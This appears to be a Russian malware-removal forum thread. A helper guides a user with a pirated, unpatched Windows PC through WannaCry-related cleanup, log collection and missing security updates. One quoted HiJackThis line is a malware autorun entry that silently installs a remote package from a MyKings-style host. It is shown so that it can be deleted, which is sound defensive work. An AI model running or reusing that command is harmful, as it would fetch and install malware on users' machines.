wannacry на двух компьютерах

[finkate]

Здравствуйте! проблемы с компьютером начались в мае. не могла понять что происходит - стал внезапно появляться синий экран, антивирус показывал вирусы. в итоге заразила еще и ноутбук. помогите пожалуйста. файл в приложении это отчет только одного комьютера-стационарного. отчет ноутбука сделаю скоро умоляю помочь!

[Info_bot]

Уважаемый(ая) finkate, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[mike 1]

Использовать систему, которая уже официально не поддерживается производителем неразумно, да к тому же еще пиратскую версию системы.

Пофиксите следующие строчки в HiJackThis (некоторые строки могут отсутствовать).

R4 - HKCU\Software\Microsoft\Internet Explorer\SearchScopes: DefaultScope = {77F2B683-BFE4-4140-A5D5-3004C16E3A8F} - inet123.ru - http://inet123.ru/?cx=partner-pub-7107628092852806%3Asxiti5-ktqk&cof=FORID%3A10&ie=utf-8&q={searchTerms}&sa=%CF%EE%E8%F1%EA&siteurl=inet123.ru%2F#881
R4 - HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{77F2B683-BFE4-4140-A5D5-3004C16E3A8F} - inet123.ru - http://inet123.ru/?cx=partner-pub-7107628092852806%3Asxiti5-ktqk&cof=FORID%3A10&ie=utf-8&q={searchTerms}&sa=%CF%EE%E8%F1%EA&siteurl=inet123.ru%2F#881
R4 - HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{77F2B683-BFE4-4140-A5D5-3004C16E3A8F},Codepage,0x10001,e3,04,00,00 - (no name) - (no URL)
O4 - HKLM\..\Run: [start1] C:\WINDOWS\system32\msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q

Сделайте повторные логи по правилам

• Для профилактики и защиты от повторных заражений загрузите SecurityCheck by glax24 отсюда и сохраните утилиту на Рабочем столе
• Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7)
• Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу.
• Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
• Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
• Прикрепите отчет в вашей теме

[finkate]

Спасибо большое за ответ! стационарный комп проверяется на вирусы пока...сейчас закончит и сделаю то что вы написали

это логи с ноутбука, со второго компа. очень прошу помочь и с ним. как защитить комп при выходе в инет?

[mike 1]

Для второго ПК создавайте отдельную тему.

[finkate]

не могу найти эти строчки. помогите пожалуйста. прилагаю скрины

1.jpg
2.jpg

- - - - -Добавлено - - - - -

увы на новый компьютер денег нет, а работать на чем-то нужно. к сожалению мне поставили пиратскую ПО, возможно удастся найти лицензию.

не могу заогурзить отчет SecurityCheck.txt. пишут что превышен предел. загрузила на яндекс диск здесь https://yadi.sk/i/ZFEWMYi_3Mm7nL

[mike 1]

Используйте HiJackThis из папки Автологгера. Компьютер вовсе необязательно менять, чтобы установить более новую ОС Windows.

Расширенная поддержка закончилась 08.04.2014, Ваша операционная система может быть уязвима к новым типам угроз

Автоматическое обновление отключено - включите.
Восстановление системы отключено - включите

------------------------------- [ HotFix ] --------------------------------
HotFix KB3197835 Внимание! Скачать обновления
HotFix KB4012598 Внимание! Скачать обновления
HotFix KB4012583 Внимание! Скачать обновления
HotFix KB4022747 Внимание! Скачать обновления
HotFix KB4024323 Внимание! Скачать обновления
HotFix KB4025218 Внимание! Скачать обновления

--------------------------- [ OtherUtilities ] ----------------------------
WinRAR 5.40 (32-разрядная) v.5.40.0 Внимание! Скачать обновления

Java(TM) 7 Update 4 v.7.0.40 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее, скачать и установить Java SE 8 (jre-8u144-windows-i586.exe).

Opera Stable 36.0.2130.80 v.36.0.2130.80 Внимание! Скачать обновления
^Проверьте обновления через меню О программе!^
Yandex v.17.4.1.919 Внимание! Скачать обновления
^Проверьте обновления через меню Дополнительно - О браузере Yandex!^

[finkate]

пофиксила из папки автологгера. вот результат https://yadi.sk/i/DBDnNk7B3MoW3D
так и должно быть?

у меня одноядерный комп 10-летней давности. поэтому здесь без вариантов.


вы издеваетесь? как я могу скачать обновления на пиратское ПО?

[mike 1]

Да, так и должно быть. А кто виноват в том, что вы используете пиратское ПО? Ставьте значит так, что уж делать. А от червя не избавитесь пока соответствующие заплатки не установите.

[finkate]

у меня винд слетит тогда. мастер говорил что можно попробовать лицензионное по установить...

повторные логи https://yadi.sk/d/F5QvocKq3MqE6n
https://yadi.sk/d/yyZwfCMn3MqE6s


проверяю SpyHunter https://yadi.sk/i/pT1HRrm03MqGpm

[mike 1]

Читайте https://www.kaspersky.ru/blog/wannac...somware/16147/, а дальше решайте сами ставить обновления или получать дальше сообщения о WannaCry от антивируса.